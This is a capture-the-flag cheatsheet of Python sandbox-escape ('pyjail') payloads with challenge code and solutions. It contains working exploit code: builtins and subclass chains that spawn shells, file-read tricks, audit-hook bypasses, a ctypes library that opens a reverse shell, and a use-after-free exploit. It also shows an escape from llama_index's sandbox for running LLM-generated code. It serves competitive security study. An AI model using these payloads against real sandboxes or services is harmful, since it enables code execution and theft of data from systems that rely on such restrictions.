Pyjail Cheatsheet
Table of Contents
- Sinks
- retrieving builtins
- good to know built-in functions and methods
- subclasses
- popular modules
- Bypasses and payloads
- decorators
- unicode bypass
- audithook bypass
- assigning attributes and variables
- getting attributes
- running functions and methods without parenthesis
- deleting variables
- General stuff
- environment variables
- magic methods
- help
- format string
- stable payloads
- finding sinks from modules
- generic classes / bullet points
- CTF
- SECCON CTF 13: 1linepyjail
- idekCTF 2024: crator
- UIUCTF 2024: ASTea
- vsCTF 2024: llama-jail-revenge
- UofTCTF 2024: Zero
- GlacierCTF 2023: Avatar
- TFC CTF 2023: My Third Calculator
- Equinor CTF 2023: Dis is it!
- 37C3 Potluck CTF: tacocat
- Internet Festival 2023 CTF Finals: prison
- WACON 2023 Prequal: ScavengerHunt
- CrewCTF 2023: starship-1
- CrewCTF 2023: starship
- CrewCTF 2023: setjail
- CrewCTF 2023: jailpie
- SEETF 2023: Another PyJail
- BYUCTF 2023: Builtins 2
- BYUCTF 2023: a-z0-9
- BYUCTF 2023: Leet 2
- BYUCTF 2023: abcdefghijklm
- BYUCTF 2023: nopqrstuvwxyz
- References
Notice: This document will be continuously updated.
Sinks
retrieving builtins
# obtain builtins from a globally defined built-in functions# https://docs.python.org/3/library/functions.htmlprint.__self____build_class__.__self____import__.__self__
# obtain builtins from site-module constants# https://docs.python.org/3/library/constants.html#constants-added-by-the-site-modulehelp.__call__.__builtins__ # or __globals__help.__repr__.__globals__["sys"] # can chain with sys.moduleslicense.__repr__.__builtins__ # or __globals__license.__repr__.__globals__["sys"] # can chain with sys.modules
# obtain the builtins from a defined functionfunc.__globals__['__builtins__'](lambda:...).__globals__
# obtain builtins from generators(_ for _ in ()).gi_frame.f_builtins(_ for _ in ()).gi_frame.f_globals["__builtins__"](await _ for _ in ()).ag_frame.f_builtins(await _ for _ in ()).ag_frame.f_globals["__builtins__"]
good to know built-in functions and methods
breakpoint() # pdb -> import os; os.system("sh")exec(input()) # import os; os.system("sh")eval(input()) # __import__("os").system("sh")
help() # less pager -> !/bin/shhelp() # less pager -> :e/flag.txt
assert len(set( [ *open("/flag.txt"), open("/flag.txt").read(), set(open("/flag.txt")).pop() ] )) == 1# to stderrint(*open("/flag.txt"))float(*open("/flag.txt"))complex(*open("/flag.txt"))exit(set(open("/flag.txt")))exit(*open("/flag.txt"))open(*open("/flag.txt"))compile(".","/flag.txt","exec")raise Exception(*open("/flag.txt"))# to stdouthelp(*open("/flag.txt"))print(*open("/flag.txt")
# https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#read-file-with-builtins-help-and-licenselicense._Printer__filenames = ['/flag.txt']; license()# [license() for license._Printer__filenames in [['/flag.txt']]]
subclasses
# <class '_frozen_importlib.BuiltinImporter'>().__class__.__mro__[1].__subclasses__()[104].load_module("os").system("sh");
# <class '_frozen_importlib_external.FileLoader'>().__class__.__bases__[0].__subclasses__()[118].get_data(".", "/flag.txt")
# <class '_io._IOBase'> -> <class '_io._RawIOBase'> -> <class '_io.FileIO'>().__class__.__mro__[1].__subclasses__()[111].__subclasses__()[0].__subclasses__()[0]("/flag.txt").read()
# <class 'os._wrap_close'>().__class__.__mro__[1].__subclasses__()[137].__init__.__builtins__["__import__"]("os").system("sh")().__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["system"]("sh")().__class__.__mro__[1].__subclasses__()[137].close.__globals__["system"]("sh")
# <class 'subprocess.Popen'>().__class__.__mro__[1].__subclasses__()[262](["cat","/flag.txt"], stdout=-1).communicate()[0]
# <class 'abc.ABC'> -> <class 'abc.ABCMeta'>().__class__.__mro__[1].__subclasses__()[129].__class__.register.__builtins__["__import__"]("os").system("sh")
# <class 'collections.Counter'>{}.__class__.__subclasses__()[2].copy.__builtins__["__import__"]("os").system("sh"){}.__class__.__subclasses__()[2].update.__builtins__["__import__"]("os").system("sh")
# <class 'generator'> - instance(_ for _ in ()).gi_frame.f_globals["__loader__"].load_module("os").system("sh")(_ for _ in ()).gi_frame.f_globals["__builtins__"].__import__("os").system("sh")
# <class 'async_generator'> - instance(await _ for _ in ()).ag_frame.f_globals["_""_loader_""_"].load_module("os").system("sh")(await _ for _ in ()).ag_frame.f_globals["_""_builtins_""_"].eval("_""_import_""_('os').system('sh')")
popular modules
# syssys = __import__("sys")io = open.__self__; sys = io.__loader__.load_module("sys"))[-1]builtins = print.__self__; sys = builtins.__loader__.create_module([builtins.__spec__ for builtins.__spec__.name in ["sys"]][0])
sys.modules["module_name"] # contains most of the builtin modules alongside frozen imports (https://docs.python.org/3/library/index.html)sys.modules["os"].system("sh")sys.breakpointhook() # same as breakpoint()sys._getframe().f_globals["__builtins__"].__import__("os").system("sh")
# _ioio = __import__("_io")io = open.__self__
io.FileIO("/flag.txt").read()io.open("/flag.txt").read()io.open("/etc/passwd").buffer.raw.__class__("/flag.txt").read()
# numpynumpy.fromfile("/flag.txt", dtype=numpy.uint8)numpy.rec.fromfile("/flag.txt", formats="i1")numpy.loadtxt("/flag.txt") # stderr
numpy.savetxt("/tmp/exp", ["\\x80\\x04\\x95\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x02os\\x8c\\x06system\\x93\\x94\\x94h\\x01\\x8c\\x02sh\\x85R."], fmt='%s', encoding="latin-1") # any pickle to execute, ie: `pickora -c 'from os import system; system("sh")'`numpy.load("/tmp/exp", allow_pickle=True) # https://numpy.org/doc/stable/reference/generated/numpy.load.html
Bypasses and payloads
decorators
@exec@inputdef a():pass # or class a:pass
@print@set@open@inputclass a:...
@print\\r@set\\r@open\\r@input\\rclass\\x0ca:pass
unicode bypass
# https://lingojam.com/ItalicTextGenerator
# no ASCII๐ฃ๐ณ๐ฆ๐ข๐ฌ๐ฑ๐ฐ๐ช๐ฏ๐ต() # import os;os.system("/bin/sh")
# no ASCII letters, no double underscores, inside eval_๏ผฟ๐ช๐ฎ๐ฑ๐ฐ๐ณ๐ต๏ผฟ_(๐ช๐ฏ๐ฑ๐ถ๐ต()).system(๐ช๐ฏ๐ฑ๐ถ๐ต()) # double underscore bypass by having underscore + unicode underscore (https://www.compart.com/en/unicode/U+005F) -> U+FE33, U+FE34, U+FE4D, U+FE4E, U+FE4F, U+FF3F
# no ASCII letters, no double underscores, no builtins, inside eval()._๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ_._๏ผฟ๐ฎ๐ณ๐ฐ๏ผฟ_[1]._๏ผฟ๐ด๐ถ๐ฃ๐ค๐ญ๐ข๐ด๐ด๐ฆ๐ด๏ผฟ_()[104].๐ญ๐ฐ๐ข๐ฅ_๐ฎ๐ฐ๐ฅ๐ถ๐ญ๐ฆ("\\157\\163").๐ด๐บ๐ด๐ต๐ฆ๐ฎ("\\57\\142\\151\\156\\57\\163\\150")
# no ASCII letters, no double underscores, no builtins, no quotes/double quotes inside eval (>= python3.8)[๐บ:=()._๏ผฟ๐ฅ๐ฐ๐ค๏ผฟ_,๐ข:=y[19],()._๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ_._๏ผฟ๐ฎ๐ณ๐ฐ๏ผฟ_[1]._๏ผฟ๐ด๐ถ๐ฃ๐ค๐ญ๐ข๐ด๐ด๐ฆ๐ด๏ผฟ_()[104].๐ญ๐ฐ๐ข๐ฅ_๐ฎ๐ฐ๐ฅ๐ถ๐ญ๐ฆ(๐บ[34]+๐ข).๐ด๐บ๐ด๐ต๐ฆ๐ฎ(๐ข+๐บ[56])]
# no ASCII letters, no double underscores, no builtins, no quotes/double quotes, no square brackets inside eval (>= python3.8)(๐ฅ:=()._๏ผฟ๐ฅ๐ฐ๐ค๏ผฟ_,d:=()._๏ผฟdir๏ผฟ_().__class__(d),๐ด:=๐ฅ.๐ฑ๐ฐ๐ฑ(19),๐ฅ._๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ_(()._๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ_._๏ผฟ๐ฎ๐ณ๐ฐ๏ผฟ_).๐ฑ๐ฐ๐ฑ(1)._๏ผฟ๐ด๐ถ๐ฃ๐ค๐ญ๐ข๐ด๐ด๐ฆ๐ด๏ผฟ_().๐ฑ๐ฐ๐ฑ(104).๐ญ๐ฐ๐ข๐ฅ_๐ฎ๐ฐ๐ฅ๐ถ๐ญ๐ฆ(๐ฅ.๐ฑ๐ฐ๐ฑ(33)+๐ด).๐ด๐บ๐ด๐ต๐ฆ๐ฎ(๐ด+๐ฅ.๐ฑ๐ฐ๐ฑ(54)))
# no double underscores, no builtins, no quotes/double quotes, no parenthesis inside eval, has existing object (>= python3.8)class cobj:...obj = cobj()
[d:=[]._๏ผฟdoc๏ผฟ_,o:=d[32],s:=d[17],h:=d[54],[obj[s+h] for obj._๏ผฟclass๏ผฟ_._๏ผฟgetitem๏ผฟ_ in [[obj[o+s] for obj._๏ผฟclass๏ผฟ_._๏ผฟgetitem๏ผฟ_ in [[+obj for obj._๏ผฟclass๏ผฟ_._๏ผฟpos๏ผฟ_ in [[]._๏ผฟclass๏ผฟ_._๏ผฟmro๏ผฟ_[1]._๏ผฟsubclasses๏ผฟ_]][0][104].load_module]][0].system]]]
audithook bypass
import sys, ossys.addaudithook((lambda x: lambda *_: x(1))(os._exit))# Note that most of the imports below would trigger the audit event if not already imported before setting up the audithook, see: https://github.com/python/cpython/issues/116840
# https://ur4ndom.dev/posts/2024-02-11-dicectf-quals-diligent-auditor/#fnref5# https://github.com/python/cpython/issues/115322import readlinereadline.read_history_file("/flag.txt"), print(readline.get_history_item(1))
import _posixsubprocesserrpipe_read, errpipe_write = os.pipe()# python 3.10, may differ in other versions_posixsubprocess.fork_exec(["/bin/sh", "-c", "cat /flag.txt"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, errpipe_read, errpipe_write, False, False, None, None, None, -1, None)
import subprocesserrpipe_read, errpipe_write = os.pipe()# python 3.10, may differ in other versionssubprocess._posixsubprocess.fork_exec(["/bin/sh", "-c", "cat /flag.txt"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, errpipe_read, errpipe_write, False, False, None, None, None, -1, None)
import multiprocessing.util # underlying uses _posixsubprocessmultiprocessing.util.spawnv_passfds(b"/bin/sh", ["/bin/sh", "-c", "cat /flag.txt"], [])
# More techniques at https://github.com/Nambers/python-audit_hook_head_finder# + https://github.com/maple3142/My-CTF-Challenges/tree/master/ImaginaryCTF%202024/calc
assigning attributes and variables
class cobj:...
# walrus operator (>= python3.8)[a:=().__doc__, print(a)]
# lambda(lambda a: print(a))(().__doc__) # note that argument names aren't part of co_names
# setattrsetattr(cobj, "field", "value"), print(cobj.field)cobj.__setattr__("field", "value"), print(cobj.field)
# list comprehension[cobj for cobj.field in ["value"]], print(cobj.field)[1 for cobj.field in ["value"]], print(cobj.field)
getting attributes
class cobj:...obj = cobj()
# eval# getattrgetattr(cobj, "field")cobj.__getattribute__(cobj, "field")obj.__getattribute__("field")
# vars() and |=x = vars()x |= vars(tuple) # add attributes of tuple into vars (concat) -> same as (x := x|vars(tuple))l = *(y for y in list(vars()) if chr(98) in y), # ("__builtins__", "__getattribute__") - retrieve keys with underscore in nameb = __getitem__(l, 0) # __builtins__ - could have shorten into l[0] if [] is availablex |= vars(dict); bu = __getitem__(vars(), b) # <module 'builtins' (built-in)> - could have shorten into x[b] here aswelll = *(y for y in list(vars(bu)) if chr(98) in y and chr(97) in y and chr(112) in y and chr(75) not in y), # ("breakpoint") - retrieve "breakpoint"x |= vars(tuple); brs = __getitem__(l, 0) # breakpointx |= vars(dict)br = __getitem__(vars(bu), brs) # <built-in function breakpoint>br()
# exec# matchmatch (): case object(_๏ผฟdoc๏ผฟ_=a): passprint(a) # ().__doc__
# try...excepttry: "{0.__doc__.lol}".format(()) # format string by itself can also be used to leak valuesexcept Exception as e: a = e.obj print(a) # ().__doc__
# overwrite builtins__builtins__ = sys__builtins__ = modules__builtins__ = ossystem("cat /flag.txt")
running functions and methods without parenthesis
class cobj:...obj = cobj()
# list comprehension (exec & eval)[+obj for obj.__class__.__pos__ in ["".__class__.__subclasses__]][obj["print(123)"] for obj.__class__.__getitem__ in [eval]]
# from builtin modules (exec & eval) - <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>[f"{license}" for license._Printer__setup in [breakpoint]]
[f"{copyright}" for copyright.__class__.__str__ in [breakpoint]][+license for license.__class__.__pos__ in [breakpoint]][-quit for quit.__class__.__neg__ in [breakpoint]][help["ls"] for help.__class__.__getitem__ in [system]]
# @hashkitten (exec)from os import system as __getattr__; from __main__ import sh
deleting variables
# try...except (exec)delete_me = ""try: pexcept Exception as delete_me: passprint(delete_me) # error
# deldelete_me = ""del delete_meprint(delete_me) # error
General stuff
environment variables
- https://www.elttam.com/blog/env/#python
PYTHONINSPECT
,PYTHONHOME
,PYTHONPATH
,PYTHONWARNINGS
,BROWSER
help.__repr__.__globals__["sys"].modules["os"].environ.__setitem__("PYTHONINSPECT", "1")
help.__repr__.__builtins__["__import__"]('antigravity', help.__repr__.__builtins__["setattr"](help.__repr__.__builtins__["__import__"]('os'),'environ',{}.__class__(BROWSER='/bin/sh -c "cat /flag.txt" #%s')))
- ref: https://crazymanarmy.github.io/2023/01/18/idek-2022-CTF-Pyjail-Pyjail-Revenge-Writeup/index.html
magic methods
help
- use of pager (ie. less) to escape sandbox
- list modules by entering
modules
- load modules by entering module names:
__main__
- should already be loaded, help page shown if sopdb
- similar to importing pdbantigravity
- similar to importing antigravityPROGRAM_NAME
/jail
/app
- similar to importing and rerunning program if not wrapped inif __name__ == "__main__":
- note: loading modules would also add related imported classes to
object.__subclasses__()
- see SECCON Beginners CTF 2022: hitchhike4b
# load pdb from help in order to call breakpoint/pdb.set_trace() without __import__ in builtins().__class__.__base__.__subclasses__()[158]()() # help()pdb # load pdb into imported modulesapp # the name of the main program in order to import / "rerun" the program"".__class__.__base__.__subclasses__()[155].close.__globals__["sys"].modules["pdb"].set_trace() # sys.modules["pdb"].set_trace()
# overwrite BROWSER env for RCE through antigravity in help[[1for __import__("os").environ["BROWSER"] in ['/bin/sh -c "cat /flag.txt" #%s']], help()]antigravity
format string
# leak and access attributes with format stringimport numpyimport osfrom flask import Flask
app = Flask(__name__)app.secret_key = 'SECRET'class User(): def __init__(self, id, username): self.id = id self.username = username def __repr__(self): return '<User {u.username} (id {{i.id}})>'.format(u=self).format(i=self)user = User(0, '{i.__init__.__globals__[app].secret_key}')print(user)
# on another, it is also possible to get RCE w/ file upload or write access if the ctypes module is loaded# - https://corgi.rip/posts/buckeye-writeups/#gentleman# - https://ctf.gg/blog/buckeyectf-2024/gentleman# - https://yun.ng/c/ctf/2025-uoft-ctf/web/prepared
# essentially, write .so / .dll file to system first and then load it as a c library for RCEopen("/tmp/lib.c", "wb").write(b"""#include <stdlib.h>\\n__attribute__((constructor))\\nvoid init() {\\nsystem("python3 -c \\\\"import os; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('localhost', 1234)); fd = s.fileno(); os.dup2(fd, 0); os.dup2(fd, 1); os.dup2(fd, 2); os.system('/bin/sh')\\\\"");\\n}""")os.system("gcc -shared -fPIC /tmp/lib.c -o lib.so")
print("{0.__init__.__globals__[__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/tmp/lib.so]}".format(user))
stable payloads
# @salvatore-abello - type.__subclasses__(type)[0] -> <class 'abc.ABCMeta'>().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # need __import__().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["__import__"]("os").system("sh")
# <function __newobj__ at 0x7f0000000000> - need __import__ tho[].__reduce_ex__(3)[0].__globals__["__builtins__"]["__import__"]("os").system("sh")[].__reduce_ex__(3)[0].__builtins__["__import__"]("os").system("sh")
finding sinks from modules
- https://github.com/search?q=repo%3Apython%2Fcpython+path%3ALib+%2Ffrom+os+import+environ%2F&type=code
__import__("ctypes")._aix.environ
- https://github.com/search?q=repo%3Apython%2Fcpython+path%3ALib+%2Fimport+sys%2F&type=code
__import__("_aix_support").sys
generic classes / bullet points
f"{65:c}"
can format an int to char (equivalent to"%c" % 65 == chr(65) == "A"
)"".encode().fromhex("41").decode()
parses hex into string
type
[].__class__.__class__
"".__class__.__class__
object
[].__class__.__mro__[1]
[].__class__.__bases__[0]
[].__class__.__base__
str
"".__class__
[].__doc__.__class__
[].__class__.__module__.__class__
tuple
[].__class__.__bases__.__class__
dict
{}.__class__
obj.__dict__.__class__
"".__class__.__dict__.copy().__class__
class instances
:class cobj:...
obj = cobj()
type("cobj", (object,), {})()
[].__class__.__class__("cobj", [].__class__.__bases__.__class__([[].__class__.__base__]), {})()
CTF
SECCON CTF 13: 1linepyjail
print(eval(code, {"__builtins__": None}, {}) if len(code := input("jail> ")) <= 100 and __import__("re").fullmatch(r'([^()]|\(\))*', code) else ":(")
# @Ark - rerun w/ help while adding pdb to loaded sys modules"".__class__.__base__.__subclasses__()[141].__init__.__globals__["__builtins__"]["help"]()pdbjail"".__class__.__base__.__subclasses__()[141].__init__.__globals__["sys"].modules["pdb"].set_trace()"".__class__.__base__.__subclasses__()[141].__init__.__globals__["__builtins__"]["__import__"]("os").system("cat /flag-*.txt")
# @maple3142 - overwrite dunder to call breakpoint[c:={}.__class__.__subclasses__()[2],b:=c.copy.__builtins__,[-c()for c.items in[b['breakpoint']]]]
# @nagi - calls code.interact() from object.__subclasses__ after triggering pydoc once w/ module containing code.InteractiveInterpreter[s:=().__class__.__base__.__subclasses__,s()[158]()(),s()[-3].write.__globals__["interact"]()]codeq
# @keymoon - retrieve help from <class 'enum._EnumDict'>{}.__class__.__subclasses__()[3].update.__globals__['bltns'].help()# and then similar to the above: pdb, jail -> pdb.set_trace() -> os.system
# @SuperFashi / @ierae - retrieve help from <class '_sitebuiltins._Helper'>().__class__.__base__.__subclasses__()[158]()()# and then similar to the above: pdb, jail -> pdb.set_trace() -> os.system
idekCTF 2024: crator
builtins_whitelist = set( ( "RuntimeError", "Exception", "KeyboardInterrupt", "False", "None", "True", "bytearray", "bytes", "dict", "float", "int", "list", "object", "set", "str", "tuple", "abs", "all", "any", "apply", "bin", "bool", "buffer", "callable", "chr", "classmethod", "cmp", "coerce", "compile", "delattr", "dir", "divmod", "enumerate", "filter", "format", "hasattr", "hash", "hex", "id", "input", "isinstance", "issubclass", "iter", "len", "map", "max", "min", "next", "oct", "open", "ord", "pow", "print", "property", "range", "reduce", "repr", "reversed", "round", "setattr", "slice", "sorted", "staticmethod", "sum", "super", "unichr", "xrange", "zip", "len", "sort", ))
class ReadOnlyBuiltins(dict): def clear(self): raise RuntimeError("Nein") def __delitem__(self, key): raise RuntimeError("Nein") def pop(self, key, default=None): raise RuntimeError("Nein") def popitem(self): raise RuntimeError("Nein") def setdefault(self, key, value): raise RuntimeError("Nein") def __setitem__(self, key, value): raise RuntimeError("Nein") def update(self, dict, **kw): raise RuntimeError("Nein")
def _safe_open(open, submission_id): def safe_open(file, mode="r"): if mode != "r": raise RuntimeError("Nein") file = str(file) if file.endswith(submission_id + ".expected"): raise RuntimeError("Nein") return open(file, "r") return safe_open
class Sandbox(object): def __init__(self, submission_id): import sys from ctypes import pythonapi, POINTER, py_object
_get_dict = pythonapi._PyObject_GetDictPtr _get_dict.restype = POINTER(py_object) _get_dict.argtypes = [py_object] del pythonapi, POINTER, py_object
def dictionary_of(ob): dptr = _get_dict(ob) return dptr.contents.value type_dict = dictionary_of(type) del type_dict["__bases__"] del type_dict["__subclasses__"] original_builtins = sys.modules["__main__"].__dict__["__builtins__"].__dict__ original_builtins["open"] = _safe_open(open, submission_id) for builtin in list(original_builtins): if builtin not in builtins_whitelist: del sys.modules["__main__"].__dict__["__builtins__"].__dict__[builtin] safe_builtins = ReadOnlyBuiltins(original_builtins) sys.modules["__main__"].__dict__["__builtins__"] = safe_builtins if hasattr(sys.modules["__main__"], "__file__"): del sys.modules["__main__"].__file__ if hasattr(sys.modules["__main__"], "__loader__"): del sys.modules["__main__"].__loader__ for key in [ "__loader__", "__spec__", "origin", "__file__", "__cached__", "ReadOnlyBuiltins", "Sandbox", ]: if key in sys.modules["__main__"].__dict__["__builtins__"]["open"].__globals__: del sys.modules["__main__"].__dict__["__builtins__"]["open"].__globals__[key]
@app.route('/submit/<problem_id>', methods=['GET', 'POST'])@login_requireddef submit(problem_id): ... code = request.form['code'] if len(code) > 32768: return abort(400) ... # Prepare code with open(f'/tmp/{submission_id}.py', 'w') as f: f.write(f'__import__("sandbox").Sandbox("{submission_id}")\n' + code.replace('\r\n', '\n')) ... # Set up input and output files with open(f'/tmp/{submission_id}.in', 'w') as f: f.write(testcase.input.replace('\r\n', '\n')) with open(f'/tmp/{submission_id}.expected', 'w') as f: f.write(testcase.output.replace('\r\n', '\n'))
# Run code try: proc = subprocess.run(f'sudo -u nobody -g nogroup python3 /tmp/{submission_id}.py < /tmp/{submission_id}.in > /tmp/{submission_id}.out', shell=True, timeout=1) if proc.returncode != 0: submission.status = 'Runtime Error' skip_remaining_cases = True submission_case.status = 'Runtime Error' else: diff = subprocess.run(f'diff /tmp/{submission_id}.out /tmp/{submission_id}.expected', shell=True, capture_output=True) if diff.stdout: submission.status = 'Wrong Answer' skip_remaining_cases = True submission_case.status = 'Wrong Answer' else: submission_case.status = 'Accepted' ...
# @Starlight - retrieve open from closureopen = open.__closure__[0].cell_contentsio = open.__self__io.__spec__.name = 'sys'sys = io.__loader__.create_module(io.__spec__)a = input()if ' ' not in a: sys.modules['os'].system('cat /tmp/*.expected > /tmp/flag')else: print(a + sys.modules['os'].popen('cat /tmp/flag').read())
# @realansgar - retrieve FileIO / open from io wrappera = open("/etc/passwd").buffer.raw.__class__("/tmp/*.expected", "r").read()print(input() + sys.modules['os'].popen('cat /tmp/flag').read())if "idek" in a: open("/etc/passwd").buffer.raw.__class__("/tmp/flag", "w").write(a)
# @salvatore.abello - UAF :brain:def __index__(self): global memory uaf.clear() memory = bytearray() uaf.extend([0] * 56) return 1UAF = ().__class__.__class__('UAF', (), { '__index__': __index__})uaf = bytearray(56)uaf[23] = UAF()print(id(0))def p64(value): return bytes([(value >> (i * 8)) & 0xFF for i in range(8)])wow = ().__class__.__class__("wow", (), {})print(wow)system_addr = id(0) - 0x653b58sys = p64(system_addr)command = b"js".ljust(8,b"\x00")for x in range(8): memory[id(wow) + 24 + 14*8 + x] = sys[x] # Overwriting tp_reprfake = wow()for x in range(len(command)): memory[id(fake) + x] = command[x] # Overwriting ob_refcntinput("...")print(fake)
UIUCTF 2024: ASTea
import ast
def safe_import(): print("Why do you need imports to make tea?")
def safe_call(): print("Why do you need function calls to make tea?")
class CoolDownTea(ast.NodeTransformer): def visit_Call(self, node: ast.Call) -> ast.AST: return ast.Call(func=ast.Name(id='safe_call', ctx=ast.Load()), args=[], keywords=[])
def visit_Import(self, node: ast.AST) -> ast.AST: return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
def visit_ImportFrom(self, node: ast.ImportFrom) -> ast.AST: return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
def visit_Assign(self, node: ast.Assign) -> ast.AST: return ast.Assign(targets=node.targets, value=ast.Constant(value=0))
def visit_BinOp(self, node: ast.BinOp) -> ast.AST: return ast.BinOp(left=ast.Constant(0), op=node.op, right=ast.Constant(0))
code = input('Nothing is quite like a cup of tea in the morning: ').splitlines()[0]
cup = ast.parse(code)cup = CoolDownTea().visit(cup)ast.fix_missing_locations(cup)
exec(compile(cup, '', 'exec'), {'__builtins__': {}}, {'safe_import': safe_import, 'safe_call': safe_call})
# (a:=lambda:..., b:=safe_import.__builtins__["help"]); a.__globals__["__builtins__"] |= {"safe_import": safe_import, "safe_call": safe_call, "help": b}; [help["sh"] for help.__class__.__getitem__ in [help["os"].system for help.__class__.__getitem__ in [safe_import.__builtins__["__import__"]]]]__builtins__ |= safe_import.__builtins__;[help["sh"] for help.__class__.__getitem__ in [help["os"].system for help.__class__.__getitem__ in [safe_import.__builtins__["__import__"]]]]
# @ChattyPlatinumCool - https://medium.com/@harryfyx/writeup-uiuctf-2024-astea-7b27ec0b9159[license := safe_import.__globals__['__builtins__'].license];license._Printer__filenames += ['flag.txt'];[safe_call := license._Printer__filenames.reverse];safe_call();[safe_import := license];import sys
# @WorldWideFlags - https://yun.ng/c/ctf/2024-uiuctf/misc/asteabuiltins: "" = safe_import.__globals__["__builtins__"];license: "" = builtins.license;license._Printer__setup: "" = builtins.breakpoint;f"{license}"
vsCTF 2024: llama-jail-revenge
#!/usr/local/bin/pythonfrom exec_utils import safe_execdef my_safe_exec(__source): # even MORE safe, surely nothing you can do now!!! assert __source.isascii(), "ascii check failed" blacklist = ["match", "case", "async", "def", "class", "frame", "_", "byte", "coding"] for x in blacklist: assert x not in __source, f"{x} is banned" return safe_exec(__source)
if __name__ == "__main__": __source = "" print("Enter code: ") try: while (inp:=input()) != "#EOF": __source += inp + "\n" except EOFError: pass try: my_safe_exec(__source) except AssertionError as err: print(err)
# code from https://github.com/run-llama/llama_index/blob/35afb6b93476ef4f4d61a48d847cd0b191ac5cb6/llama-index-experimental/llama_index/experimental/exec_utils.py# was main at the time of writing chall, however commit provided incase of changesimport astimport copyfrom types import CodeType, ModuleTypefrom typing import Any, Dict, Mapping, Sequence, Union
ALLOWED_IMPORTS = { "math", "time", "datetime", "pandas", "scipy", "numpy", "matplotlib", "plotly", "seaborn",}
def _restricted_import( name: str, globals: Union[Mapping[str, object], None] = None, locals: Union[Mapping[str, object], None] = None, fromlist: Sequence[str] = (), level: int = 0,) -> ModuleType: if name in ALLOWED_IMPORTS: return __import__(name, globals, locals, fromlist, level) raise ImportError(f"Import of module '{name}' is not allowed")
ALLOWED_BUILTINS = { "abs": abs, "all": all, "any": any, "ascii": ascii, "bin": bin, "bool": bool, "bytearray": bytearray, "bytes": bytes, "chr": chr, "complex": complex, "divmod": divmod, "enumerate": enumerate, "filter": filter, "float": float, "format": format, "frozenset": frozenset, "hash": hash, "hex": hex, "int": int, "isinstance": isinstance, "issubclass": issubclass, "len": len, "list": list, "map": map, "max": max, "min": min, "oct": oct, "ord": ord, "pow": pow, "print": print, "range": range, "repr": repr, "reversed": reversed, "round": round, "set": set, "slice": slice, "sorted": sorted, "str": str, "sum": sum, "tuple": tuple, "type": type, "zip": zip, # Constants "True": True, "False": False, "None": None, "__import__": _restricted_import,}
def _get_restricted_globals(__globals: Union[dict, None]) -> Any: restricted_globals = copy.deepcopy(ALLOWED_BUILTINS) if __globals: restricted_globals.update(__globals) return restricted_globals
vulnerable_code_snippets = [ "os.",]
class DunderVisitor(ast.NodeVisitor): def __init__(self) -> None: self.has_access_to_private_entity = False self.has_access_to_disallowed_builtin = False
builtins = globals()["__builtins__"].keys() self._builtins = builtins
def visit_Name(self, node: ast.Name) -> None: if node.id.startswith("_"): self.has_access_to_private_entity = True if node.id not in ALLOWED_BUILTINS and node.id in self._builtins: self.has_access_to_disallowed_builtin = True self.generic_visit(node)
def visit_Attribute(self, node: ast.Attribute) -> None: if node.attr.startswith("_"): self.has_access_to_private_entity = True if node.attr not in ALLOWED_BUILTINS and node.attr in self._builtins: self.has_access_to_disallowed_builtin = True self.generic_visit(node)
def _contains_protected_access(code: str) -> bool: # do not allow imports imports_modules = False tree = ast.parse(code) for node in ast.walk(tree): if isinstance(node, ast.Import): imports_modules = True elif isinstance(node, ast.ImportFrom): imports_modules = True else: continue
dunder_visitor = DunderVisitor() dunder_visitor.visit(tree)
for vulnerable_code_snippet in vulnerable_code_snippets: if vulnerable_code_snippet in code: dunder_visitor.has_access_to_disallowed_builtin = True
return ( dunder_visitor.has_access_to_private_entity or dunder_visitor.has_access_to_disallowed_builtin or imports_modules )
def _verify_source_safety(__source: Union[str, bytes, CodeType]) -> None: """ Verify that the source is safe to execute. For now, this means that it does not contain any references to private or dunder methods. """ if isinstance(__source, CodeType): raise RuntimeError("Direct execution of CodeType is forbidden!") if isinstance(__source, bytes): __source = __source.decode() if _contains_protected_access(__source): raise RuntimeError( "Execution of code containing references to private or dunder methods, " "disallowed builtins, or any imports, is forbidden!" )
def safe_eval( __source: Union[str, bytes, CodeType], __globals: Union[Dict[str, Any], None] = None, __locals: Union[Mapping[str, object], None] = None,) -> Any: """ eval within safe global context. """ _verify_source_safety(__source) return eval(__source, _get_restricted_globals(__globals), __locals)
def safe_exec( __source: Union[str, bytes, CodeType], __globals: Union[Dict[str, Any], None] = None, __locals: Union[Mapping[str, object], None] = None,) -> None: """ eval within safe global context. """ _verify_source_safety(__source) return exec(__source, _get_restricted_globals(__globals), __locals)
# Using "with"-statement context managers to expose/retrieve Exception classes# https://rszalski.github.io/magicmethods/#contextss = []obj = type(type).mro(type)[-1]cus = type("a", (obj,), {"\\137\\137exit\\137\\137": lambda s,e,v,t: [ss.append(e)], "\\137\\137enter\\137\\137": lambda s: s})f = lambda: Nonewith cus(): obj.lolprint(ss)ex = ss[0]
try: "{0.\\137\\137globals\\137\\137[\\137\\137builtins\\137\\137][\\137\\137import\\137\\137].lol}".format(f)except ex as e: try: "{0.popen.lol}".format(e.obj("os")) except ex as e: print(e.obj("cat /flag*").read())#EOF
UofTCTF 2024: Zero
def check(code): # no letters alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" # no numbers numbers = "0123456789" # no underscores underscore = "__"
return not any((c in alphabet) or (c in numbers) or (underscore in code) for c in code)
def safe_eval(code): if (check(code)): g = {'__builtins__': None} l = {'__builtins__': None} return print(eval(code, g, l )) # good luck! else: print("lol no")
code = input(">>> ")safe_eval(code)
